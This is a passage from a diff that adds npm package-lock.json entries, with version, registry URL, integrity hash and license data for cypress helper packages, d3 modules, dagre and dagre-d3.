"https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/cypress/node_modules/chalk/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cypress/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/cypress/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/cypress/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/cypress/node_modules/semver": { + "version": "7.3.7", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", + "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "dev": true, + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/cypress/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/d3": { + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/d3/-/d3-6.7.0.tgz", + "integrity": "sha512-hNHRhe+yCDLUG6Q2LwvR/WdNFPOJQ5VWqsJcwIYVeI401+d2/rrCjxSXkiAdIlpx7/73eApFB4Olsmh3YN7a6g==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-array": "2", + "d3-axis": "2", + "d3-brush": "2", + "d3-chord": "2", + "d3-color": "2", + "d3-contour": "2", + "d3-delaunay": "5", + "d3-dispatch": "2", + "d3-drag": "2", + "d3-dsv": "2", + "d3-ease": "2", + "d3-fetch": "2", + "d3-force": "2", + "d3-format": "2", + "d3-geo": "2", + "d3-hierarchy": "2", + "d3-interpolate": "2", + "d3-path": "2", + "d3-polygon": "2", + "d3-quadtree": "2", + "d3-random": "2", + "d3-scale": "3", + "d3-scale-chromatic": "2", + "d3-selection": "2", + "d3-shape": "2", + "d3-time": "2", + "d3-time-format": "3", + "d3-timer": "2", + "d3-transition": "2", + "d3-zoom": "2" + } + }, + "node_modules/d3-array": { + "version": "2.12.1", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-2.12.1.tgz", + "integrity": "sha512-B0ErZK/66mHtEsR1TkPEEkwdy+WDesimkM5gpZr5Dsg54BiTA5RXtYW5qTLIAcekaS9xfZrzBLF/OAkB3Qn1YQ==", + "license": "BSD-3-Clause", + "dependencies": { + "internmap": "^1.0.0" + } + }, + "node_modules/d3-axis": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-2.1.0.tgz", + "integrity": "sha512-z/G2TQMyuf0X3qP+Mh+2PimoJD41VOCjViJzT0BHeL/+JQAofkiWZbWxlwFGb1N8EN+Cl/CW+MUKbVzr1689Cw==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-brush": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-2.1.0.tgz", + "integrity": "sha512-cHLLAFatBATyIKqZOkk/mDHUbzne2B3ZwxkzMHvFTCZCmLaXDpZRihQSn8UNXTkGD/3lb/W2sQz0etAftmHMJQ==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-dispatch": "1 - 2", + "d3-drag": "2", + "d3-interpolate": "1 - 2", + "d3-selection": "2", + "d3-transition": "2" + } + }, + "node_modules/d3-chord": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-2.0.0.tgz", + "integrity": "sha512-D5PZb7EDsRNdGU4SsjQyKhja8Zgu+SHZfUSO5Ls8Wsn+jsAKUUGkcshLxMg9HDFxG3KqavGWaWkJ8EpU8ojuig==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-path": "1 - 2" + } + }, + "node_modules/d3-collection": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-collection/-/d3-collection-1.0.7.tgz", + "integrity": "sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-color": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-2.0.0.tgz", + "integrity": "sha512-SPXi0TSKPD4g9tw0NMZFnR95XVgUZiBH+uUTqQuDu1OsE2zomHU7ho0FISciaPvosimixwHFl3WHLGabv6dDgQ==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-contour": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-2.0.0.tgz", + "integrity": "sha512-9unAtvIaNk06UwqBmvsdHX7CZ+NPDZnn8TtNH1myW93pWJkhsV25JcgnYAu0Ck5Veb1DHiCv++Ic5uvJ+h50JA==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-array": "2" + } + }, + "node_modules/d3-delaunay": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/d3-delaunay/-/d3-delaunay-5.3.0.tgz", + "integrity": "sha512-amALSrOllWVLaHTnDLHwMIiz0d1bBu9gZXd1FiLfXf8sHcX9jrcj81TVZOqD4UX7MgBZZ07c8GxzEgBpJqc74w==", + "license": "ISC", + "dependencies": { + "delaunator": "4" + } + }, + "node_modules/d3-dispatch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-2.0.0.tgz", + "integrity": "sha512-S/m2VsXI7gAti2pBoLClFFTMOO1HTtT0j99AuXLoGFKO6deHDdnv6ZGTxSTTUTgO1zVcv82fCOtDjYK4EECmWA==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-drag": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-2.0.0.tgz", + "integrity": "sha512-g9y9WbMnF5uqB9qKqwIIa/921RYWzlUDv9Jl1/yONQwxbOfszAWTCm8u7HOTgJgRDXiRZN56cHT9pd24dmXs8w==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-dispatch": "1 - 2", + "d3-selection": "2" + } + }, + "node_modules/d3-dsv": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-2.0.0.tgz", + "integrity": "sha512-E+Pn8UJYx9mViuIUkoc93gJGGYut6mSDKy2+XaPwccwkRGlR+LO97L2VCCRjQivTwLHkSnAJG7yo00BWY6QM+w==", + "license": "BSD-3-Clause", + "dependencies": { + "commander": "2", + "iconv-lite": "0.4", + "rw": "1" + }, + "bin": { + "csv2json": "bin/dsv2json", + "csv2tsv": "bin/dsv2dsv", + "dsv2dsv": "bin/dsv2dsv", + "dsv2json": "bin/dsv2json", + "json2csv": "bin/json2dsv", + "json2dsv": "bin/json2dsv", + "json2tsv": "bin/json2dsv", + "tsv2csv": "bin/dsv2dsv", + "tsv2json": "bin/dsv2json" + } + }, + "node_modules/d3-dsv/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "license": "MIT" + }, + "node_modules/d3-ease": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-2.0.0.tgz", + "integrity": "sha512-68/n9JWarxXkOWMshcT5IcjbB+agblQUaIsbnXmrzejn2O82n3p2A9R2zEB9HIEFWKFwPAEDDN8gR0VdSAyyAQ==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-fetch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-2.0.0.tgz", + "integrity": "sha512-TkYv/hjXgCryBeNKiclrwqZH7Nb+GaOwo3Neg24ZVWA3MKB+Rd+BY84Nh6tmNEMcjUik1CSUWjXYndmeO6F7sw==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-dsv": "1 - 2" + } + }, + "node_modules/d3-force": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-2.1.1.tgz", + "integrity": "sha512-nAuHEzBqMvpFVMf9OX75d00OxvOXdxY+xECIXjW6Gv8BRrXu6gAWbv/9XKrvfJ5i5DCokDW7RYE50LRoK092ew==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-dispatch": "1 - 2", + "d3-quadtree": "1 - 2", + "d3-timer": "1 - 2" + } + }, + "node_modules/d3-format": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-2.0.0.tgz", + "integrity": "sha512-Ab3S6XuE/Q+flY96HXT0jOXcM4EAClYFnRGY5zsjRGNy6qCYrQsMffs7cV5Q9xejb35zxW5hf/guKw34kvIKsA==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-geo": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-2.0.2.tgz", + "integrity": "sha512-8pM1WGMLGFuhq9S+FpPURxic+gKzjluCD/CHTuUF3mXMeiCo0i6R0tO1s4+GArRFde96SLcW/kOFRjoAosPsFA==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-array": "^2.5.0" + } + }, + "node_modules/d3-hierarchy": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-2.0.0.tgz", + "integrity": "sha512-SwIdqM3HxQX2214EG9GTjgmCc/mbSx4mQBn+DuEETubhOw6/U3fmnji4uCVrmzOydMHSO1nZle5gh6HB/wdOzw==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-interpolate": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-2.0.1.tgz", + "integrity": "sha512-c5UhwwTs/yybcmTpAVqwSFl6vrQ8JZJoT5F7xNFK9pymv5C0Ymcc9/LIJHtYIggg/yS9YHw8i8O8tgb9pupjeQ==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-color": "1 - 2" + } + }, + "node_modules/d3-path": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-2.0.0.tgz", + "integrity": "sha512-ZwZQxKhBnv9yHaiWd6ZU4x5BtCQ7pXszEV9CU6kRgwIQVQGLMv1oiL4M+MK/n79sYzsj+gcgpPQSctJUsLN7fA==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-polygon": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-2.0.0.tgz", + "integrity": "sha512-MsexrCK38cTGermELs0cO1d79DcTsQRN7IWMJKczD/2kBjzNXxLUWP33qRF6VDpiLV/4EI4r6Gs0DAWQkE8pSQ==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-quadtree": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-2.0.0.tgz", + "integrity": "sha512-b0Ed2t1UUalJpc3qXzKi+cPGxeXRr4KU9YSlocN74aTzp6R/Ud43t79yLLqxHRWZfsvWXmbDWPpoENK1K539xw==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-random": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-2.2.2.tgz", + "integrity": "sha512-0D9P8TRj6qDAtHhRQn6EfdOtHMfsUWanl3yb/84C4DqpZ+VsgfI5iTVRNRbELCfNvRfpMr8OrqqUTQ6ANGCijw==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-scale": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-3.3.0.tgz", + "integrity": "sha512-1JGp44NQCt5d1g+Yy+GeOnZP7xHo0ii8zsQp6PGzd+C1/dl0KGsp9A7Mxwp+1D1o4unbTTxVdU/ZOIEBoeZPbQ==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-array": "^2.3.0", + "d3-format": "1 - 2", + "d3-interpolate": "1.2.0 - 2", + "d3-time": "^2.1.1", + "d3-time-format": "2 - 3" + } + }, + "node_modules/d3-scale-chromatic": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-2.0.0.tgz", + "integrity": "sha512-LLqy7dJSL8yDy7NRmf6xSlsFZ6zYvJ4BcWFE4zBrOPnQERv9zj24ohnXKRbyi9YHnYV+HN1oEO3iFK971/gkzA==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-color": "1 - 2", + "d3-interpolate": "1 - 2" + } + }, + "node_modules/d3-selection": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-2.0.0.tgz", + "integrity": "sha512-XoGGqhLUN/W14NmaqcO/bb1nqjDAw5WtSYb2X8wiuQWvSZUsUVYsOSkOybUrNvcBjaywBdYPy03eXHMXjk9nZA==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-shape": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-2.1.0.tgz", + "integrity": "sha512-PnjUqfM2PpskbSLTJvAzp2Wv4CZsnAgTfcVRTwW03QR3MkXF8Uo7B1y/lWkAsmbKwuecto++4NlsYcvYpXpTHA==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-path": "1 - 2" + } + }, + "node_modules/d3-time": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-2.1.1.tgz", + "integrity": "sha512-/eIQe/eR4kCQwq7yxi7z4c6qEXf2IYGcjoWB5OOQy4Tq9Uv39/947qlDcN2TLkiTzQWzvnsuYPB9TrWaNfipKQ==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-array": "2" + } + }, + "node_modules/d3-time-format": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-3.0.0.tgz", + "integrity": "sha512-UXJh6EKsHBTjopVqZBhFysQcoXSv/5yLONZvkQ5Kk3qbwiUYkdX17Xa1PT6U1ZWXGGfB1ey5L8dKMlFq2DO0Ag==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-time": "1 - 2" + } + }, + "node_modules/d3-timer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-2.0.0.tgz", + "integrity": "sha512-TO4VLh0/420Y/9dO3+f9abDEFYeCUr2WZRlxJvbp4HPTQcSylXNiL6yZa9FIUvV1yRiFufl1bszTCLDqv9PWNA==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-transition": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-2.0.0.tgz", + "integrity": "sha512-42ltAGgJesfQE3u9LuuBHNbGrI/AJjNL2OAUdclE70UE6Vy239GCBEYD38uBPoLeNsOhFStGpPI0BAOV+HMxog==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-color": "1 - 2", + "d3-dispatch": "1 - 2", + "d3-ease": "1 - 2", + "d3-interpolate": "1 - 2", + "d3-timer": "1 - 2" + }, + "peerDependencies": { + "d3-selection": "2" + } + }, + "node_modules/d3-voronoi": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/d3-voronoi/-/d3-voronoi-1.1.4.tgz", + "integrity": "sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg==", + "license": "BSD-3-Clause" + }, + "node_modules/d3-zoom": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-2.0.0.tgz", + "integrity": "sha512-fFg7aoaEm9/jf+qfstak0IYpnesZLiMX6GZvXtUSdv8RH2o4E2qeelgdU09eKS6wGuiGMfcnMI0nTIqWzRHGpw==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-dispatch": "1 - 2", + "d3-drag": "2", + "d3-interpolate": "1 - 2", + "d3-selection": "2", + "d3-transition": "2" + } + }, + "node_modules/dagre": { + "version": "0.8.5", + "resolved": "https://registry.npmjs.org/dagre/-/dagre-0.8.5.tgz", + "integrity": "sha512-/aTqmnRta7x7MCCpExk7HQL2O4owCT2h8NT//9I1OQ9vt29Pa0BzSAkR5lwFUcQ7491yVi/3CXU9jQ5o0Mn2Sw==", + "license": "MIT", + "dependencies": { + "graphlib": "^2.1.8", + "lodash": "^4.17.15" + } + }, + "node_modules/dagre-d3": { + "version": "0.6.4", + "resolved": "https://registry.npmjs.org/dagre-d3/-/dagre-d3-0.6.4.tgz", + "integrity": "sha512-e/6jXeCP7/ptlAM48clmX4xTZc5Ek6T6kagS7Oz2HrYSdqcLZFLqpAfh7ldbZRFfxCZVyh61NEPR08UQRVxJzQ==", + "license": "MIT", + "dependencies": { + "d3": "^5.14", + "dagre": "^0.8.5", + "graphlib": "^2.1.8", + "lodash": "^4.17.15" + } + }, + "node_modules/dagre-d3/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "license": "MIT" + }, + "node_modules/dagre-d3/node_modules/d3": { + "version": "5.16.0", + "resolved": "https://registry.npmjs.org/d3/-/d3-5.16.0.tgz", + "integrity": "sha512-4PL5hHaHwX4m7Zr1UapXW23apo6pexCgdetdJ5kTmADpG/7T9Gkxw0M0tf/pjoB63ezCCm0u5UaFYy2aMt0Mcw==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-array": "1", + "d3-axis": "1", + "d3-brush": "1", + "d3-chord": "1", + "d3-collection": "1", + "d3-color": "1", + "d3-contour": "1", + "d3-dispatch": "1", + "d3-drag": "1", + "d3-dsv": "1", + "d3-ease": "1", + "d3-fetch": "1", + "d3-force": "1", + "d3-format": "1", + "d3-geo": "1", + "d3-hierarchy": "1", + "d3-interpolate": "1", + "d3-path": "1", + "d3-polygon": "1", + "d3-quadtree": "1", + "d3-random": "1", + "d3-scale": "2", + "d3-scale-chromatic": "1", + "d3-selection": "1", + "d3-shape": "1", + "d3-time": "1", + "d3-time-format": "2", + "d3-timer": "1", + "d3-transition": "1", + "d3-voronoi": "1", + "d3-zoom": "1" + } + }, + "node_modules/dagre-d3/node_modules/d3-array": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-1.2.4.tgz", + "integrity": "sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-axis": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-1.0.12.tgz", + "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-brush": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.6.tgz", + "integrity": "sha512-7RW+w7HfMCPyZLifTz/UnJmI5kdkXtpCbombUSs8xniAyo0vIbrDzDwUJB6eJOgl9u5DQOt2TQlYumxzD1SvYA==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-dispatch": "1", + "d3-drag": "1", + "d3-interpolate": "1", + "d3-selection": "1", + "d3-transition": "1" + } + }, + "node_modules/dagre-d3/node_modules/d3-chord": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz", + "integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-array": "1", + "d3-path": "1" + } + }, + "node_modules/dagre-d3/node_modules/d3-color": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.4.1.tgz", + "integrity": "sha512-p2sTHSLCJI2QKunbGb7ocOh7DgTAn8IrLx21QRc/BSnodXM4sv6aLQlnfpvehFMLZEfBc6g9pH9SWQccFYfJ9Q==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-contour": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz", + "integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-array": "^1.1.1" + } + }, + "node_modules/dagre-d3/node_modules/d3-dispatch": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.6.tgz", + "integrity": "sha512-fVjoElzjhCEy+Hbn8KygnmMS7Or0a9sI2UzGwoB7cCtvI1XpVN9GpoYlnb3xt2YV66oXYb1fLJ8GMvP4hdU1RA==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-drag": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.5.tgz", + "integrity": "sha512-rD1ohlkKQwMZYkQlYVCrSFxsWPzI97+W+PaEIBNTMxRuxz9RF0Hi5nJWHGVJ3Om9d2fRTe1yOBINJyy/ahV95w==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-dispatch": "1", + "d3-selection": "1" + } + }, + "node_modules/dagre-d3/node_modules/d3-dsv": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.2.0.tgz", + "integrity": "sha512-9yVlqvZcSOMhCYzniHE7EVUws7Fa1zgw+/EAV2BxJoG3ME19V6BQFBwI855XQDsxyOuG7NibqRMTtiF/Qup46g==", + "license": "BSD-3-Clause", + "dependencies": { + "commander": "2", + "iconv-lite": "0.4", + "rw": "1" + }, + "bin": { + "csv2json": "bin/dsv2json", + "csv2tsv": "bin/dsv2dsv", + "dsv2dsv": "bin/dsv2dsv", + "dsv2json": "bin/dsv2json", + "json2csv": "bin/json2dsv", + "json2dsv": "bin/json2dsv", + "json2tsv": "bin/json2dsv", + "tsv2csv": "bin/dsv2dsv", + "tsv2json": "bin/dsv2json" + } + }, + "node_modules/dagre-d3/node_modules/d3-ease": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.7.tgz", + "integrity": "sha512-lx14ZPYkhNx0s/2HX5sLFUI3mbasHjSSpwO/KaaNACweVwxUruKyWVcb293wMv1RqTPZyZ8kSZ2NogUZNcLOFQ==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-fetch": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.2.0.tgz", + "integrity": "sha512-yC78NBVcd2zFAyR/HnUiBS7Lf6inSCoWcSxFfw8FYL7ydiqe80SazNwoffcqOfs95XaLo7yebsmQqDKSsXUtvA==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-dsv": "1" + } + }, + "node_modules/dagre-d3/node_modules/d3-force": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz", + "integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-collection": "1", + "d3-dispatch": "1", + "d3-quadtree": "1", + "d3-timer": "1" + } + }, + "node_modules/dagre-d3/node_modules/d3-format": { + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.4.5.tgz", + "integrity": "sha512-J0piedu6Z8iB6TbIGfZgDzfXxUFN3qQRMofy2oPdXzQibYGqPB/9iMcxr/TGalU+2RsyDO+U4f33id8tbnSRMQ==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-geo": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.12.1.tgz", + "integrity": "sha512-XG4d1c/UJSEX9NfU02KwBL6BYPj8YKHxgBEw5om2ZnTRSbIcego6dhHwcxuSR3clxh0EpE38os1DVPOmnYtTPg==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-array": "1" + } + }, + "node_modules/dagre-d3/node_modules/d3-hierarchy": { + "version": "1.1.9", + "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.9.tgz", + "integrity": "sha512-j8tPxlqh1srJHAtxfvOUwKNYJkQuBFdM1+JAUfq6xqH5eAqf93L7oG1NVqDa4CpFZNvnNKtCYEUC8KY9yEn9lQ==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-interpolate": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.4.0.tgz", + "integrity": "sha512-V9znK0zc3jOPV4VD2zZn0sDhZU3WAE2bmlxdIwwQPPzPjvyLkd8B3JUVdS1IDUFDkWZ72c9qnv1GK2ZagTZ8EA==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-color": "1" + } + }, + "node_modules/dagre-d3/node_modules/d3-path": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.9.tgz", + "integrity": "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-polygon": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.6.tgz", + "integrity": "sha512-k+RF7WvI08PC8reEoXa/w2nSg5AUMTi+peBD9cmFc+0ixHfbs4QmxxkarVal1IkVkgxVuk9JSHhJURHiyHKAuQ==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-quadtree": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.7.tgz", + "integrity": "sha512-RKPAeXnkC59IDGD0Wu5mANy0Q2V28L+fNe65pOCXVdVuTJS3WPKaJlFHer32Rbh9gIo9qMuJXio8ra4+YmIymA==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-random": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-1.1.2.tgz", + "integrity": "sha512-6AK5BNpIFqP+cx/sreKzNjWbwZQCSUatxq+pPRmFIQaWuoD+NrbVWw7YWpHiXpCQ/NanKdtGDuB+VQcZDaEmYQ==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-scale": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz", + "integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-array": "^1.2.0", + "d3-collection": "1", + "d3-format": "1", + "d3-interpolate": "1", + "d3-time": "1", + "d3-time-format": "2" + } + }, + "node_modules/dagre-d3/node_modules/d3-scale-chromatic": { + "version": "1.5.0", + 